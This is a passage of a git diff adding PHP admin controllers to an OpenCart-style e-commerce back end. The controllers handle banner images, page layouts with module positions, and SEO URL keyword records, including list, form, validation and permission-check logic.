+ $banner_images = $this->request->post['banner_image'];
+ } elseif (isset($this->request->get['banner_id'])) {
+ $banner_images = $this->model_design_banner->getBannerImages($this->request->get['banner_id']);
+ } else {
+ $banner_images = array();
+ }
+
+ $data['banner_images'] = array();
+
+ foreach ($banner_images as $key => $value) {
+ foreach ($value as $banner_image) {
+ if (is_file(DIR_IMAGE . $banner_image['image'])) {
+ $image = $banner_image['image'];
+ $thumb = $banner_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['banner_images'][$key][] = array(
+ 'title' => $banner_image['title'],
+ 'link' => $banner_image['link'],
+ 'description' => $banner_image['description'],
+ 'button_text' => $banner_image['button_text'],
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'image_mobile' => $banner_image['image_mobile'],
+ 'mobile_thumb' => $banner_image['image_mobile'] && is_file(DIR_IMAGE . $banner_image['image_mobile']) ? $this->model_tool_image->resize($banner_image['image_mobile'], 100, 100) : $this->model_tool_image->resize('no_image.png', 100, 100),
+ 'sort_order' => $banner_image['sort_order']
+ );
+ }
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/banner_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (isset($this->request->post['banner_image'])) {
+ foreach ($this->request->post['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image_id => $banner_image) {
+ if ((utf8_strlen($banner_image['title']) < 2) || (utf8_strlen($banner_image['title']) > 64)) {
+ $this->error['banner_image'][$language_id][$banner_image_id] = $this->language->get('error_title');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/design/layout.php b/public/admin/controller/design/layout.php
new file mode 100644
index 0000000..a42b540
--- /dev/null
+++ b/public/admin/controller/design/layout.php
@@ -0,0 +1,464 @@
+load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_layout->addLayout($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/layout');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_layout->editLayout($this->request->get['layout_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $layout_id) {
+ $this->model_design_layout->deleteLayout($layout_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/layout/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/layout/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['layouts'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $layout_total = $this->model_design_layout->getTotalLayouts();
+
+ $results = $this->model_design_layout->getLayouts($filter_data);
+
+ foreach ($results as $result) {
+ $data['layouts'][] = array(
+ 'layout_id' => $result['layout_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('design/layout/edit', 'user_token=' . $this->session->data['user_token'] . '&layout_id=' . $result['layout_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $layout_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($layout_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($layout_total - $this->config->get('config_limit_admin'))) ? $layout_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $layout_total, ceil($layout_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/layout_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['layout_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['layout_id'])) {
+ $data['action'] = $this->url->link('design/layout/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/layout/edit', 'user_token=' . $this->session->data['user_token'] . '&layout_id=' . $this->request->get['layout_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['layout_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $layout_info = $this->model_design_layout->getLayout($this->request->get['layout_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($layout_info)) {
+ $data['name'] = $layout_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ if (isset($this->request->post['layout_route'])) {
+ $data['layout_routes'] = $this->request->post['layout_route'];
+ } elseif (isset($this->request->get['layout_id'])) {
+ $data['layout_routes'] = $this->model_design_layout->getLayoutRoutes($this->request->get['layout_id']);
+ } else {
+ $data['layout_routes'] = array();
+ }
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ $data['extensions'] = array();
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('module');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ $this->load->language('extension/module/' . $code, 'extension');
+
+ $module_data = array();
+
+ $modules = $this->model_setting_module->getModulesByCode($code);
+
+ foreach ($modules as $module) {
+ $module_data[] = array(
+ 'name' => strip_tags($module['name']),
+ 'code' => $code . '.' . $module['module_id']
+ );
+ }
+
+ if ($this->config->has('module_' . $code . '_status') || $module_data) {
+ $data['extensions'][] = array(
+ 'name' => strip_tags($this->language->get('extension')->get('heading_title')),
+ 'code' => $code,
+ 'module' => $module_data
+ );
+ }
+ }
+
+ // Modules layout
+ if (isset($this->request->post['layout_module'])) {
+ $layout_modules = $this->request->post['layout_module'];
+ } elseif (isset($this->request->get['layout_id'])) {
+ $layout_modules = $this->model_design_layout->getLayoutModules($this->request->get['layout_id']);
+ } else {
+ $layout_modules = array();
+ }
+
+ $data['layout_modules'] = array();
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($layout_modules as $layout_module) {
+ $part = explode('.', $layout_module['code']);
+
+ if (!isset($part[1])) {
+ $data['layout_modules'][] = array(
+ 'code' => $layout_module['code'],
+ 'edit' => $this->url->link('extension/module/' . $part[0], 'user_token=' . $this->session->data['user_token'], true),
+ 'position' => $layout_module['position'],
+ 'sort_order' => $layout_module['sort_order']
+ );
+ } else {
+ $module_info = $this->model_setting_module->getModule($part[1]);
+
+ if ($module_info) {
+ $data['layout_modules'][] = array(
+ 'code' => $layout_module['code'],
+ 'edit' => $this->url->link('extension/module/' . $part[0], 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $part[1], true),
+ 'position' => $layout_module['position'],
+ 'sort_order' => $layout_module['sort_order']
+ );
+ }
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/layout_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/layout')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/layout')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('catalog/product');
+ $this->load->model('catalog/category');
+ $this->load->model('catalog/information');
+ $this->load->model('catalog/manufacturer');
+
+ foreach ($this->request->post['selected'] as $layout_id) {
+ if ($this->config->get('config_layout_id') == $layout_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByLayoutId($layout_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByLayoutId($layout_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+
+ $category_total = $this->model_catalog_category->getTotalCategoriesByLayoutId($layout_id);
+
+ if ($category_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_category'), $category_total);
+ }
+
+ $manufacturer_total = $this->model_catalog_manufacturer->getTotalManufacturerByLayoutId($layout_id);
+
+ if ($manufacturer_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_manufacturer'), $manufacturer_total);
+ }
+
+ $information_total = $this->model_catalog_information->getTotalInformationsByLayoutId($layout_id);
+
+ if ($information_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_information'), $information_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/design/seo_url.php b/public/admin/controller/design/seo_url.php
new file mode 100644
index 0000000..73a044b
--- /dev/null
+++ b/public/admin/controller/design/seo_url.php
@@ -0,0 +1,544 @@
+load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_seo_url->addSeoUrl($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_seo_url->editSeoUrl($this->request->get['seo_url_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $seo_url_id) {
+ $this->model_design_seo_url->deleteSeoUrl($seo_url_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_query'])) {
+ $filter_query = $this->request->get['filter_query'];
+ } else {
+ $filter_query = '';
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $filter_keyword = $this->request->get['filter_keyword'];
+ } else {
+ $filter_keyword = '';
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $filter_store_id = $this->request->get['filter_store_id'];
+ } else {
+ $filter_store_id = '';
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $filter_language_id = $this->request->get['filter_language_id'];
+ } else {
+ $filter_language_id = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'keyword';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/seo_url/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/seo_url/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['seo_urls'] = array();
+
+ $filter_data = array(
+ 'filter_query' => $filter_query,
+ 'filter_keyword' => $filter_keyword,
+ 'filter_store_id' => $filter_store_id,
+ 'filter_language_id' => $filter_language_id,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $seo_url_total = $this->model_design_seo_url->getTotalSeoUrls($filter_data);
+
+ $results = $this->model_design_seo_url->getSeoUrls($filter_data);
+
+ foreach ($results as $result) {
+ $data['seo_urls'][] = array(
+ 'seo_url_id' => $result['seo_url_id'],
+ 'query' => $result['query'],
+ 'keyword' => $result['keyword'],
+ 'store' => $result['store_id'] ? $result['store'] : $this->language->get('text_default'),
+ 'language' => $result['language'],
+ 'edit' => $this->url->link('design/seo_url/edit', 'user_token=' . $this->session->data['user_token'] . '&seo_url_id=' . $result['seo_url_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_query'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=query' . $url, true);
+ $data['sort_keyword'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=keyword' . $url, true);
+ $data['sort_store'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=store' . $url, true);
+ $data['sort_language'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=language' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $seo_url_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($seo_url_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($seo_url_total - $this->config->get('config_limit_admin'))) ? $seo_url_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $seo_url_total, ceil($seo_url_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_query'] = $filter_query;
+ $data['filter_keyword'] = $filter_keyword;
+ $data['filter_store_id'] = $filter_store_id;
+ $data['filter_language_id'] = $filter_language_id;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/seo_url_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['seo_url_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['query'])) {
+ $data['error_query'] = $this->error['query'];
+ } else {
+ $data['error_query'] = '';
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['seo_url_id'])) {
+ $data['action'] = $this->url->link('design/seo_url/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/seo_url/edit', 'user_token=' . $this->session->data['user_token'] . '&seo_url_id=' . $this->request->get['seo_url_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['seo_url_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $seo_url_info = $this->model_design_seo_url->getSeoUrl($this->request->get['seo_url_id']);
+ }
+
+ if (isset($this->request->post['query'])) {
+ $data['query'] = $this->request->post['query'];
+ } elseif (!empty($seo_url_info)) {
+ $data['query'] = $seo_url_info['query'];
+ } else {
+ $data['query'] = '';
+ }
+
+ if (isset($this->request->post['keyword'])) {
+ $data['keyword'] = $this->request->post['keyword'];
+ } elseif (!empty($seo_url_info)) {
+ $data['keyword'] = $seo_url_info['keyword'];
+ } else {
